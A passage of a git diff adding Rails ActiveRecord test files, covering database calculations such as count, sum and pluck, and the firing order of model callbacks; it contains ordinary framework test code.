+    c = Account.group("accounts.firm_id").sum(:credit_limit)
+    assert_equal 50,  c[1]
+    assert_equal 105, c[6]
+    assert_equal 60,  c[2]
+  end
+
+  def test_should_calculate_with_invalid_field
+    assert_equal 6, Account.calculate(:count, "*")
+    assert_equal 6, Account.calculate(:count, :all)
+  end
+
+  def test_should_calculate_grouped_with_invalid_field
+    c = Account.group("accounts.firm_id").count(:all)
+    assert_equal 1, c[1]
+    assert_equal 2, c[6]
+    assert_equal 1, c[2]
+  end
+
+  def test_should_calculate_grouped_association_with_invalid_field
+    c = Account.group(:firm).count(:all)
+    assert_equal 1, c[companies(:first_firm)]
+    assert_equal 2, c[companies(:rails_core)]
+    assert_equal 1, c[companies(:first_client)]
+  end
+
+  def test_should_group_by_association_with_non_numeric_foreign_key
+    Speedometer.create! id: "ABC"
+    Minivan.create! id: "OMG", speedometer_id: "ABC"
+
+    c = Minivan.group(:speedometer).count(:all)
+    first_key = c.keys.first
+    assert_equal Speedometer, first_key.class
+    assert_equal 1, c[first_key]
+  end
+
+  def test_should_calculate_grouped_association_with_foreign_key_option
+    Account.belongs_to :another_firm, class_name: "Firm", foreign_key: "firm_id"
+    c = Account.group(:another_firm).count(:all)
+    assert_equal 1, c[companies(:first_firm)]
+    assert_equal 2, c[companies(:rails_core)]
+    assert_equal 1, c[companies(:first_client)]
+  end
+
+  def test_should_calculate_grouped_by_function
+    c = Company.group("UPPER(#{QUOTED_TYPE})").count(:all)
+    assert_equal 2, c[nil]
+    assert_equal 1, c["DEPENDENTFIRM"]
+    assert_equal 5, c["CLIENT"]
+    assert_equal 2, c["FIRM"]
+  end
+
+  def test_should_calculate_grouped_by_function_with_table_alias
+    c = Company.group("UPPER(companies.#{QUOTED_TYPE})").count(:all)
+    assert_equal 2, c[nil]
+    assert_equal 1, c["DEPENDENTFIRM"]
+    assert_equal 5, c["CLIENT"]
+    assert_equal 2, c["FIRM"]
+  end
+
+  def test_should_not_overshadow_enumerable_sum
+    assert_equal 6, [1, 2, 3].sum(&:abs)
+  end
+
+  def test_should_sum_scoped_field
+    assert_equal 15, companies(:rails_core).companies.sum(:id)
+  end
+
+  def test_should_sum_scoped_field_with_from
+    assert_equal Club.count, Organization.clubs.count
+  end
+
+  def test_should_sum_scoped_field_with_conditions
+    assert_equal 8,  companies(:rails_core).companies.where("id > 7").sum(:id)
+  end
+
+  def test_should_group_by_scoped_field
+    c = companies(:rails_core).companies.group(:name).sum(:id)
+    assert_equal 7, c["Leetsoft"]
+    assert_equal 8, c["Jadedpixel"]
+  end
+
+  def test_should_group_by_summed_field_through_association_and_having
+    c = companies(:rails_core).companies.group(:name).having("sum(id) > 7").sum(:id)
+    assert_nil      c["Leetsoft"]
+    assert_equal 8, c["Jadedpixel"]
+  end
+
+  def test_should_count_selected_field_with_include
+    assert_equal 6, Account.includes(:firm).distinct.count
+    assert_equal 4, Account.includes(:firm).distinct.select(:credit_limit).count
+  end
+
+  def test_should_not_perform_joined_include_by_default
+    assert_equal Account.count, Account.includes(:firm).count
+    queries = assert_sql { Account.includes(:firm).count }
+    assert_no_match(/join/i, queries.last)
+  end
+
+  def test_should_perform_joined_include_when_referencing_included_tables
+    joined_count = Account.includes(:firm).where(companies: { name: "37signals" }).count
+    assert_equal 1, joined_count
+  end
+
+  def test_should_count_scoped_select
+    Account.update_all("credit_limit = NULL")
+    assert_equal 0, Account.select("credit_limit").count
+  end
+
+  def test_should_count_scoped_select_with_options
+    Account.update_all("credit_limit = NULL")
+    Account.last.update_columns("credit_limit" => 49)
+    Account.first.update_columns("credit_limit" => 51)
+
+    assert_equal 1, Account.select("credit_limit").where("credit_limit >= 50").count
+  end
+
+  def test_should_count_manual_select_with_include
+    assert_equal 6, Account.select("DISTINCT accounts.id").includes(:firm).count
+  end
+
+  def test_count_selected_arel_attribute
+    assert_equal 5, Account.select(Account.arel_table[:firm_id]).count
+    assert_equal 4, Account.distinct.select(Account.arel_table[:firm_id]).count
+  end
+
+  def test_count_with_column_parameter
+    assert_equal 5, Account.count(:firm_id)
+  end
+
+  def test_count_with_arel_attribute
+    assert_equal 5, Account.count(Account.arel_table[:firm_id])
+  end
+
+  def test_count_with_arel_star
+    assert_equal 6, Account.count(Arel.star)
+  end
+
+  def test_count_with_distinct
+    assert_equal 4, Account.select(:credit_limit).distinct.count
+  end
+
+  def test_count_with_aliased_attribute
+    assert_equal 6, Account.count(:available_credit)
+  end
+
+  def test_count_with_column_and_options_parameter
+    assert_equal 2, Account.where("credit_limit = 50 AND firm_id IS NOT NULL").count(:firm_id)
+  end
+
+  def test_should_count_field_in_joined_table
+    assert_equal 5, Account.joins(:firm).count("companies.id")
+    assert_equal 4, Account.joins(:firm).distinct.count("companies.id")
+  end
+
+  def test_count_arel_attribute_in_joined_table_with
+    assert_equal 5, Account.joins(:firm).count(Company.arel_table[:id])
+    assert_equal 4, Account.joins(:firm).distinct.count(Company.arel_table[:id])
+  end
+
+  def test_count_selected_arel_attribute_in_joined_table
+    assert_equal 5, Account.joins(:firm).select(Company.arel_table[:id]).count
+    assert_equal 4, Account.joins(:firm).distinct.select(Company.arel_table[:id]).count
+  end
+
+  def test_should_count_field_in_joined_table_with_group_by
+    c = Account.group("accounts.firm_id").joins(:firm).count("companies.id")
+
+    [1, 6, 2, 9].each { |firm_id| assert_includes c.keys, firm_id }
+  end
+
+  def test_should_count_field_of_root_table_with_conflicting_group_by_column
+    assert_equal({ 1 => 1 }, Firm.joins(:accounts).group(:firm_id).count)
+    assert_equal({ 1 => 1 }, Firm.joins(:accounts).group("accounts.firm_id").count)
+  end
+
+  def test_count_with_no_parameters_isnt_deprecated
+    assert_not_deprecated { Account.count }
+  end
+
+  def test_count_with_too_many_parameters_raises
+    assert_raise(ArgumentError) { Account.count(1, 2, 3) }
+  end
+
+  def test_count_with_order
+    assert_equal 6, Account.order(:credit_limit).count
+  end
+
+  def test_count_with_reverse_order
+    assert_equal 6, Account.order(:credit_limit).reverse_order.count
+  end
+
+  def test_count_with_where_and_order
+    assert_equal 1, Account.where(firm_name: "37signals").count
+    assert_equal 1, Account.where(firm_name: "37signals").order(:firm_name).count
+    assert_equal 1, Account.where(firm_name: "37signals").order(:firm_name).reverse_order.count
+  end
+
+  def test_count_with_block
+    assert_equal 4, Account.count { |account| account.credit_limit.modulo(10).zero? }
+  end
+
+  def test_should_sum_expression
+    # Oracle adapter returns floating point value 636.0 after SUM
+    if current_adapter?(:OracleAdapter)
+      assert_equal 636, Account.sum("2 * credit_limit")
+    else
+      assert_equal 636, Account.sum("2 * credit_limit").to_i
+    end
+  end
+
+  def test_sum_expression_returns_zero_when_no_records_to_sum
+    assert_equal 0, Account.where("1 = 2").sum("2 * credit_limit")
+  end
+
+  def test_count_with_from_option
+    assert_equal Company.count(:all), Company.from("companies").count(:all)
+    assert_equal Account.where("credit_limit = 50").count(:all),
+        Account.from("accounts").where("credit_limit = 50").count(:all)
+    assert_equal Company.where(type: "Firm").count(:type),
+        Company.where(type: "Firm").from("companies").count(:type)
+  end
+
+  def test_sum_with_from_option
+    assert_equal Account.sum(:credit_limit), Account.from("accounts").sum(:credit_limit)
+    assert_equal Account.where("credit_limit > 50").sum(:credit_limit),
+        Account.where("credit_limit > 50").from("accounts").sum(:credit_limit)
+  end
+
+  def test_average_with_from_option
+    assert_equal Account.average(:credit_limit), Account.from("accounts").average(:credit_limit)
+    assert_equal Account.where("credit_limit > 50").average(:credit_limit),
+        Account.where("credit_limit > 50").from("accounts").average(:credit_limit)
+  end
+
+  def test_minimum_with_from_option
+    assert_equal Account.minimum(:credit_limit), Account.from("accounts").minimum(:credit_limit)
+    assert_equal Account.where("credit_limit > 50").minimum(:credit_limit),
+        Account.where("credit_limit > 50").from("accounts").minimum(:credit_limit)
+  end
+
+  def test_maximum_with_from_option
+    assert_equal Account.maximum(:credit_limit), Account.from("accounts").maximum(:credit_limit)
+    assert_equal Account.where("credit_limit > 50").maximum(:credit_limit),
+        Account.where("credit_limit > 50").from("accounts").maximum(:credit_limit)
+  end
+
+  def test_maximum_with_not_auto_table_name_prefix_if_column_included
+    Company.create!(name: "test", contracts: [Contract.new(developer_id: 7)])
+
+    assert_equal 7, Company.includes(:contracts).maximum(:developer_id)
+  end
+
+  def test_minimum_with_not_auto_table_name_prefix_if_column_included
+    Company.create!(name: "test", contracts: [Contract.new(developer_id: 7)])
+
+    assert_equal 7, Company.includes(:contracts).minimum(:developer_id)
+  end
+
+  def test_sum_with_not_auto_table_name_prefix_if_column_included
+    Company.create!(name: "test", contracts: [Contract.new(developer_id: 7)])
+
+    assert_equal 7, Company.includes(:contracts).sum(:developer_id)
+  end
+
+  if current_adapter?(:Mysql2Adapter)
+    def test_from_option_with_specified_index
+      assert_equal Edge.count(:all), Edge.from("edges USE INDEX(unique_edge_index)").count(:all)
+      assert_equal Edge.where("sink_id < 5").count(:all),
+          Edge.from("edges USE INDEX(unique_edge_index)").where("sink_id < 5").count(:all)
+    end
+  end
+
+  def test_from_option_with_table_different_than_class
+    assert_equal Account.count(:all), Company.from("accounts").count(:all)
+  end
+
+  def test_distinct_is_honored_when_used_with_count_operation_after_group
+    # Count the number of authors for approved topics
+    approved_topics_count = Topic.group(:approved).count(:author_name)[true]
+    assert_equal approved_topics_count, 4
+    # Count the number of distinct authors for approved Topics
+    distinct_authors_for_approved_count = Topic.group(:approved).distinct.count(:author_name)[true]
+    assert_equal distinct_authors_for_approved_count, 3
+  end
+
+  def test_pluck
+    assert_equal [1, 2, 3, 4, 5], Topic.order(:id).pluck(:id)
+  end
+
+  def test_pluck_without_column_names
+    if current_adapter?(:OracleAdapter)
+      assert_equal [[1, "Firm", 1, nil, "37signals", nil, 1, nil, nil]], Company.order(:id).limit(1).pluck
+    else
+      assert_equal [[1, "Firm", 1, nil, "37signals", nil, 1, nil, ""]], Company.order(:id).limit(1).pluck
+    end
+  end
+
+  def test_pluck_type_cast
+    topic = topics(:first)
+    relation = Topic.where(id: topic.id)
+    assert_equal [ topic.approved ], relation.pluck(:approved)
+    assert_equal [ topic.last_read ], relation.pluck(:last_read)
+    assert_equal [ topic.written_on ], relation.pluck(:written_on)
+  end
+
+  def test_pluck_and_distinct
+    assert_equal [50, 53, 55, 60], Account.order(:credit_limit).distinct.pluck(:credit_limit)
+  end
+
+  def test_pluck_in_relation
+    company = Company.first
+    contract = company.contracts.create!
+    assert_equal [contract.id], company.contracts.pluck(:id)
+  end
+
+  def test_pluck_on_aliased_attribute
+    assert_equal "The First Topic", Topic.order(:id).pluck(:heading).first
+  end
+
+  def test_pluck_with_serialization
+    t = Topic.create!(content: { foo: :bar })
+    assert_equal [{ foo: :bar }], Topic.where(id: t.id).pluck(:content)
+  end
+
+  def test_pluck_with_qualified_column_name
+    assert_equal [1, 2, 3, 4, 5], Topic.order(:id).pluck("topics.id")
+  end
+
+  def test_pluck_auto_table_name_prefix
+    c = Company.create!(name: "test", contracts: [Contract.new])
+    assert_equal [c.id], Company.joins(:contracts).pluck(:id)
+  end
+
+  def test_pluck_if_table_included
+    c = Company.create!(name: "test", contracts: [Contract.new(developer_id: 7)])
+    assert_equal [c.id], Company.includes(:contracts).where("contracts.id" => c.contracts.first).pluck(:id)
+  end
+
+  def test_pluck_not_auto_table_name_prefix_if_column_joined
+    Company.create!(name: "test", contracts: [Contract.new(developer_id: 7)])
+    assert_equal [7], Company.joins(:contracts).pluck(:developer_id)
+  end
+
+  def test_pluck_with_selection_clause
+    assert_equal [50, 53, 55, 60], Account.pluck("DISTINCT credit_limit").sort
+    assert_equal [50, 53, 55, 60], Account.pluck("DISTINCT accounts.credit_limit").sort
+    assert_equal [50, 53, 55, 60], Account.pluck("DISTINCT(credit_limit)").sort
+
+    # MySQL returns "SUM(DISTINCT(credit_limit))" as the column name unless
+    # an alias is provided.  Without the alias, the column cannot be found
+    # and properly typecast.
+    assert_equal [50 + 53 + 55 + 60], Account.pluck("SUM(DISTINCT(credit_limit)) as credit_limit")
+  end
+
+  def test_plucks_with_ids
+    assert_equal Company.all.map(&:id).sort, Company.ids.sort
+  end
+
+  def test_pluck_with_includes_limit_and_empty_result
+    assert_equal [], Topic.includes(:replies).limit(0).pluck(:id)
+    assert_equal [], Topic.includes(:replies).limit(1).where("0 = 1").pluck(:id)
+  end
+
+  def test_pluck_not_auto_table_name_prefix_if_column_included
+    Company.create!(name: "test", contracts: [Contract.new(developer_id: 7)])
+    ids = Company.includes(:contracts).pluck(:developer_id)
+    assert_equal Company.count, ids.length
+    assert_equal [7], ids.compact
+  end
+
+  def test_pluck_multiple_columns
+    assert_equal [
+      [1, "The First Topic"], [2, "The Second Topic of the day"],
+      [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"],
+      [5, "The Fifth Topic of the day"]
+    ], Topic.order(:id).pluck(:id, :title)
+    assert_equal [
+      [1, "The First Topic", "David"], [2, "The Second Topic of the day", "Mary"],
+      [3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"],
+      [5, "The Fifth Topic of the day", "Jason"]
+    ], Topic.order(:id).pluck(:id, :title, :author_name)
+  end
+
+  def test_pluck_with_multiple_columns_and_selection_clause
+    assert_equal [[1, 50], [2, 50], [3, 50], [4, 60], [5, 55], [6, 53]],
+      Account.pluck("id, credit_limit")
+  end
+
+  def test_pluck_with_multiple_columns_and_includes
+    Company.create!(name: "test", contracts: [Contract.new(developer_id: 7)])
+    companies_and_developers = Company.order("companies.id").includes(:contracts).pluck(:name, :developer_id)
+
+    assert_equal Company.count, companies_and_developers.length
+    assert_equal ["37signals", nil], companies_and_developers.first
+    assert_equal ["test", 7], companies_and_developers.last
+  end
+
+  def test_pluck_with_reserved_words
+    Possession.create!(where: "Over There")
+
+    assert_equal ["Over There"], Possession.pluck(:where)
+  end
+
+  def test_pluck_replaces_select_clause
+    taks_relation = Topic.select(:approved, :id).order(:id)
+    assert_equal [1, 2, 3, 4, 5], taks_relation.pluck(:id)
+    assert_equal [false, true, true, true, true], taks_relation.pluck(:approved)
+  end
+
+  def test_pluck_columns_with_same_name
+    expected = [["The First Topic", "The Second Topic of the day"], ["The Third Topic of the day", "The Fourth Topic of the day"]]
+    actual = Topic.joins(:replies)
+      .pluck("topics.title", "replies_topics.title")
+    assert_equal expected, actual
+  end
+
+  def test_calculation_with_polymorphic_relation
+    part = ShipPart.create!(name: "has trinket")
+    part.trinkets.create!
+
+    assert_equal part.id, ShipPart.joins(:trinkets).sum(:id)
+  end
+
+  def test_pluck_joined_with_polymorphic_relation
+    part = ShipPart.create!(name: "has trinket")
+    part.trinkets.create!
+
+    assert_equal [part.id], ShipPart.joins(:trinkets).pluck(:id)
+  end
+
+  def test_pluck_loaded_relation
+    companies = Company.order(:id).limit(3).load
+    assert_no_queries do
+      assert_equal ["37signals", "Summit", "Microsoft"], companies.pluck(:name)
+    end
+  end
+
+  def test_pluck_loaded_relation_multiple_columns
+    companies = Company.order(:id).limit(3).load
+    assert_no_queries do
+      assert_equal [[1, "37signals"], [2, "Summit"], [3, "Microsoft"]], companies.pluck(:id, :name)
+    end
+  end
+
+  def test_pluck_loaded_relation_sql_fragment
+    companies = Company.order(:name).limit(3).load
+    assert_queries 1 do
+      assert_equal ["37signals", "Apex", "Ex Nihilo"], companies.pluck("DISTINCT name")
+    end
+  end
+
+  def test_grouped_calculation_with_polymorphic_relation
+    part = ShipPart.create!(name: "has trinket")
+    part.trinkets.create!
+
+    assert_equal({ "has trinket" => part.id }, ShipPart.joins(:trinkets).group("ship_parts.name").sum(:id))
+  end
+
+  def test_calculation_grouped_by_association_doesnt_error_when_no_records_have_association
+    Client.update_all(client_of: nil)
+    assert_equal({ nil => Client.count }, Client.group(:firm).count)
+  end
+
+  def test_should_reference_correct_aliases_while_joining_tables_of_has_many_through_association
+    assert_nothing_raised do
+      developer = Developer.create!(name: "developer")
+      developer.ratings.includes(comment: :post).where(posts: { id: 1 }).count
+    end
+  end
+
+  def test_sum_uses_enumerable_version_when_block_is_given
+    block_called = false
+    relation = Client.all.load
+
+    assert_no_queries do
+      assert_equal 0, relation.sum { block_called = true; 0 }
+    end
+    assert block_called
+  end
+
+  def test_having_with_strong_parameters
+    protected_params = Class.new do
+      attr_reader :permitted
+      alias :permitted? :permitted
+
+      def initialize(parameters)
+        @parameters = parameters
+        @permitted = false
+      end
+
+      def to_h
+        @parameters
+      end
+
+      def permit!
+        @permitted = true
+        self
+      end
+    end
+
+    params = protected_params.new(credit_limit: "50")
+
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Account.group(:id).having(params)
+    end
+
+    result = Account.group(:id).having(params.permit!)
+    assert_equal 50, result[0].credit_limit
+    assert_equal 50, result[1].credit_limit
+    assert_equal 50, result[2].credit_limit
+  end
+
+  def test_group_by_attribute_with_custom_type
+    assert_equal({ "proposed" => 2, "published" => 2 }, Book.group(:status).count)
+  end
+
+  def test_deprecate_count_with_block_and_column_name
+    assert_deprecated do
+      assert_equal 6, Account.count(:firm_id) { true }
+    end
+  end
+
+  def test_deprecate_sum_with_block_and_column_name
+    assert_deprecated do
+      assert_equal 6, Account.sum(:firm_id) { 1 }
+    end
+  end
+
+  test "#skip_query_cache! for #pluck" do
+    Account.cache do
+      assert_queries(1) do
+        Account.pluck(:credit_limit)
+        Account.pluck(:credit_limit)
+      end
+
+      assert_queries(2) do
+        Account.all.skip_query_cache!.pluck(:credit_limit)
+        Account.all.skip_query_cache!.pluck(:credit_limit)
+      end
+    end
+  end
+
+  test "#skip_query_cache! for a simple calculation" do
+    Account.cache do
+      assert_queries(1) do
+        Account.calculate(:sum, :credit_limit)
+        Account.calculate(:sum, :credit_limit)
+      end
+
+      assert_queries(2) do
+        Account.all.skip_query_cache!.calculate(:sum, :credit_limit)
+        Account.all.skip_query_cache!.calculate(:sum, :credit_limit)
+      end
+    end
+  end
+
+  test "#skip_query_cache! for a grouped calculation" do
+    Account.cache do
+      assert_queries(1) do
+        Account.group(:firm_id).calculate(:sum, :credit_limit)
+        Account.group(:firm_id).calculate(:sum, :credit_limit)
+      end
+
+      assert_queries(2) do
+        Account.all.skip_query_cache!.group(:firm_id).calculate(:sum, :credit_limit)
+        Account.all.skip_query_cache!.group(:firm_id).calculate(:sum, :credit_limit)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb
new file mode 100644
index 0000000000..55c7475f46
--- /dev/null
+++ b/activerecord/test/cases/callbacks_test.rb
@@ -0,0 +1,479 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/computer"
+
+class CallbackDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+
+  class << self
+    def callback_proc(callback_method)
+      Proc.new { |model| model.history << [callback_method, :proc] }
+    end
+
+    def define_callback_method(callback_method)
+      define_method(callback_method) do
+        history << [callback_method, :method]
+      end
+      send(callback_method, :"#{callback_method}")
+    end
+
+    def callback_object(callback_method)
+      klass = Class.new
+      klass.send(:define_method, callback_method) do |model|
+        model.history << [callback_method, :object]
+      end
+      klass.new
+    end
+  end
+
+  ActiveRecord::Callbacks::CALLBACKS.each do |callback_method|
+    next if callback_method.to_s.start_with?("around_")
+    define_callback_method(callback_method)
+    send(callback_method, callback_proc(callback_method))
+    send(callback_method, callback_object(callback_method))
+    send(callback_method) { |model| model.history << [callback_method, :block] }
+  end
+
+  def history
+    @history ||= []
+  end
+end
+
+class CallbackDeveloperWithHaltedValidation < CallbackDeveloper
+  before_validation proc { |model| model.history << [:before_validation, :throwing_abort]; throw(:abort) }
+  before_validation proc { |model| model.history << [:before_validation, :should_never_get_here] }
+end
+
+class ParentDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+  attr_accessor :after_save_called
+  before_validation { |record| record.after_save_called = true }
+end
+
+class ChildDeveloper < ParentDeveloper
+end
+
+class ImmutableDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+
+  validates_inclusion_of :salary, in: 50000..200000
+
+  before_save :cancel
+  before_destroy :cancel
+
+  private
+    def cancel
+      false
+    end
+end
+
+class DeveloperWithCanceledCallbacks < ActiveRecord::Base
+  self.table_name = "developers"
+
+  validates_inclusion_of :salary, in: 50000..200000
+
+  before_save :cancel
+  before_destroy :cancel
+
+  private
+    def cancel
+      throw(:abort)
+    end
+end
+
+class OnCallbacksDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+
+  before_validation { history << :before_validation }
+  before_validation(on: :create) { history << :before_validation_on_create }
+  before_validation(on: :update) { history << :before_validation_on_update }
+
+  validate do
+    history << :validate
+  end
+
+  after_validation { history << :after_validation }
+  after_validation(on: :create) { history << :after_validation_on_create }
+  after_validation(on: :update) { history << :after_validation_on_update }
+
+  def history
+    @history ||= []
+  end
+end
+
+class ContextualCallbacksDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+
+  before_validation { history << :before_validation }
+  before_validation :before_validation_on_create_and_update, on: [ :create, :update ]
+
+  validate do
+    history << :validate
+  end
+
+  after_validation { history << :after_validation }
+  after_validation :after_validation_on_create_and_update, on: [ :create, :update ]
+
+  def before_validation_on_create_and_update
+    history << "before_validation_on_#{validation_context}".to_sym
+  end
+
+  def after_validation_on_create_and_update
+    history << "after_validation_on_#{validation_context}".to_sym
+  end
+
+  def history
+    @history ||= []
+  end
+end
+
+class CallbackHaltedDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+
+  attr_reader   :after_save_called, :after_create_called, :after_update_called, :after_destroy_called
+  attr_accessor :cancel_before_save, :cancel_before_create, :cancel_before_update, :cancel_before_destroy
+
+  before_save    { throw(:abort) if defined?(@cancel_before_save) }
+  before_create  { throw(:abort) if @cancel_before_create  }
+  before_update  { throw(:abort) if @cancel_before_update  }
+  before_destroy { throw(:abort) if @cancel_before_destroy }
+
+  after_save    { @after_save_called    = true }
+  after_update  { @after_update_called  = true }
+  after_create  { @after_create_called  = true }
+  after_destroy { @after_destroy_called = true }
+end
+
+class CallbacksTest < ActiveRecord::TestCase
+  fixtures :developers
+
+  def test_initialize
+    david = CallbackDeveloper.new
+    assert_equal [
+      [ :after_initialize,            :method ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+    ], david.history
+  end
+
+  def test_find
+    david = CallbackDeveloper.find(1)
+    assert_equal [
+      [ :after_find,            :method ],
+      [ :after_find,            :proc   ],
+      [ :after_find,            :object ],
+      [ :after_find,            :block  ],
+      [ :after_initialize,            :method ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+    ], david.history
+  end
+
+  def test_new_valid?
+    david = CallbackDeveloper.new
+    david.valid?
+    assert_equal [
+      [ :after_initialize,            :method ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+      [ :before_validation,           :method ],
+      [ :before_validation,           :proc   ],
+      [ :before_validation,           :object ],
+      [ :before_validation,           :block  ],
+      [ :after_validation,            :method ],
+      [ :after_validation,            :proc   ],
+      [ :after_validation,            :object ],
+      [ :after_validation,            :block  ],
+    ], david.history
+  end
+
+  def test_existing_valid?
+    david = CallbackDeveloper.find(1)
+    david.valid?
+    assert_equal [
+      [ :after_find,            :method ],
+      [ :after_find,            :proc   ],
+      [ :after_find,            :object ],
+      [ :after_find,            :block  ],
+      [ :after_initialize,            :method ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+      [ :before_validation,           :method ],
+      [ :before_validation,           :proc   ],
+      [ :before_validation,           :object ],
+      [ :before_validation,           :block  ],
+      [ :after_validation,            :method ],
+      [ :after_validation,            :proc   ],
+      [ :after_validation,            :object ],
+      [ :after_validation,            :block  ],
+    ], david.history
+  end
+
+  def test_create
+    david = CallbackDeveloper.create("name" => "David", "salary" => 1000000)
+    assert_equal [
+      [ :after_initialize,            :method ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+      [ :before_validation,           :method ],
+      [ :before_validation,           :proc   ],
+      [ :before_validation,           :object ],
+      [ :before_validation,           :block  ],
+      [ :after_validation,            :method ],
+      [ :after_validation,            :proc   ],
+      [ :after_validation,            :object ],
+      [ :after_validation,            :block  ],
+      [ :before_save,                 :method ],
+      [ :before_save,                 :proc   ],
+      [ :before_save,                 :object ],
+      [ :before_save,                 :block  ],
+      [ :before_create,               :method ],
+      [ :before_create,               :proc   ],
+      [ :before_create,               :object ],
+      [ :before_create,               :block  ],
+      [ :after_create,                :method ],
+      [ :after_create,                :proc   ],
+      [ :after_create,                :object ],
+      [ :after_create,                :block  ],
+      [ :after_save,                  :method ],
+      [ :after_save,                  :proc   ],
+      [ :after_save,                  :object ],
+      [ :after_save,                  :block  ],
+      [ :after_commit,                :block  ],
+      [ :after_commit,                :object ],
+      [ :after_commit,                :proc   ],
+      [ :after_commit,                :method ]
+    ], david.history
+  end
+
+  def test_validate_on_create
+    david = OnCallbacksDeveloper.create("name" => "David", "salary" => 1000000)
+    assert_equal [
+      :before_validation,
+      :before_validation_on_create,
+      :validate,
+      :after_validation,
+      :after_validation_on_create
+    ], david.history
+  end
+
+  def test_validate_on_contextual_create
+    david = ContextualCallbacksDeveloper.create("name" => "David", "salary" => 1000000)
+    assert_equal [
+      :before_validation,
+      :before_validation_on_create,
+      :validate,
+      :after_validation,
+      :after_validation_on_create
+    ], david.history
+  end
+
+  def test_update
+    david = CallbackDeveloper.find(1)
+    david.save
+    assert_equal [
+      [ :after_find,            :method ],
+      [ :after_find,            :proc   ],
+      [ :after_find,            :object ],
+      [ :after_find,            :block  ],
+      [ :after_initialize,            :method ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+      [ :before_validation,           :method ],
+      [ :before_validation,           :proc   ],
+      [ :before_validation,           :object ],
+      [ :before_validation,           :block  ],
+      [ :after_validation,            :method ],
+      [ :after_validation,            :proc   ],
+      [ :after_validation,            :object ],
+      [ :after_validation,            :block  ],
+      [ :before_save,                 :method ],
+      [ :before_save,                 :proc   ],
+      [ :before_save,                 :object ],
+      [ :before_save,                 :block  ],
+      [ :before_update,               :method ],
+      [ :before_update,               :proc   ],
+      [ :before_update,               :object ],
+      [ :before_update,               :block  ],
+      [ :after_update,                :method ],
+      [ :after_update,                :proc   ],
+      [ :after_update,                :object ],
+      [ :after_update,                :block  ],
+      [ :after_save,                  :method ],
+      [ :after_save,                  :proc   ],
+      [ :after_save,                  :object ],
+      [ :after_save,                  :block  ],
+      [ :after_commit,                :block  ],
+      [ :after_commit,                :object ],
+      [ :after_commit,                :proc   ],
+      [ :after_commit,                :method ]
+    ], david.history
+  end
+
+  def test_validate_on_update
+    david = OnCallbacksDeveloper.find(1)
+    david.save
+    assert_equal [
+      :before_validation,
+      :before_validation_on_update,
+      :validate,
+      :after_validation,
+      :after_validation_on_update
+    ], david.history
+  end
+
+  def test_validate_on_contextual_update
+    david = ContextualCallbacksDeveloper.find(1)
+    david.save
+    assert_equal [
+      :before_validation,
+      :before_validation_on_update,
+      :validate,
+      :after_validation,
+      :after_validation_on_update
+    ], david.history
+  end
+
+  def test_destroy
+    david = CallbackDeveloper.find(1)
+    david.destroy
+    assert_equal [
+      [ :after_find,            :method ],
+      [ :after_find,            :proc   ],
+      [ :after_find,            :object ],
+      [ :after_find,            :block  ],
+      [ :after_initialize,            :method ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+      [ :before_destroy,              :method ],
+      [ :before_destroy,              :proc   ],
+      [ :before_destroy,              :object ],
+      [ :before_destroy,              :block  ],
+      [ :after_destroy,               :method ],
+      [ :after_destroy,               :proc   ],
+      [ :after_destroy,               :object ],
+      [ :after_destroy,               :block  ],
+      [ :after_commit,                :block  ],
+      [ :after_commit,                :object ],
+      [ :after_commit,                :proc   ],
+      [ :after_commit,                :method ]
+    ], david.history
+  end
+
+  def test_delete
+    david = CallbackDeveloper.find(1)
+    CallbackDeveloper.delete(david.id)
+    assert_equal [
+      [ :after_find,            :method ],
+      [ :after_find,            :proc   ],
+      [ :after_find,            :object ],
+      [ :after_find,            :block  ],
+      [ :after_initialize,            :method ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+    ], david.history
+  end
+
+  def assert_save_callbacks_not_called(someone)
+    assert !someone.after_save_called
+    assert !someone.after_create_called
+    assert !someone.after_update_called
+  end
+  private :assert_save_callbacks_not_called
+
+  def test_before_create_throwing_abort
+    someone = CallbackHaltedDeveloper.new
+    someone.cancel_before_create = true
+    assert someone.valid?
+    assert !someone.save
+    assert_save_callbacks_not_called(someone)
+  end
+
+  def test_before_save_throwing_abort
+    david = DeveloperWithCanceledCallbacks.find(1)
+    assert david.valid?
+    assert !david.save
+    exc = assert_raise(ActiveRecord::RecordNotSaved) { david.save! }
+    assert_equal david, exc.record
+
+    david = DeveloperWithCanceledCallbacks.find(1)
+    david.salary = 10_000_000
+    assert !david.valid?
+    assert !david.save
+    assert_raise(ActiveRecord::RecordInvalid) { david.save! }
+
+    someone = CallbackHaltedDeveloper.find(1)
+    someone.cancel_before_save = true
+    assert someone.valid?
+    assert !someone.save
+    assert_save_callbacks_not_called(someone)
+  end
+
+  def test_before_update_throwing_abort
+    someone = CallbackHaltedDeveloper.find(1)
+    someone.cancel_before_update = true
+    assert someone.valid?
+    assert !someone.save
+    assert_save_callbacks_not_called(someone)
+  end
+
+  def test_before_destroy_throwing_abort
+    david = DeveloperWithCanceledCallbacks.find(1)
+    assert !david.destroy
+    exc = assert_raise(ActiveRecord::RecordNotDestroyed) { david.destroy! }
+    assert_equal david, exc.record
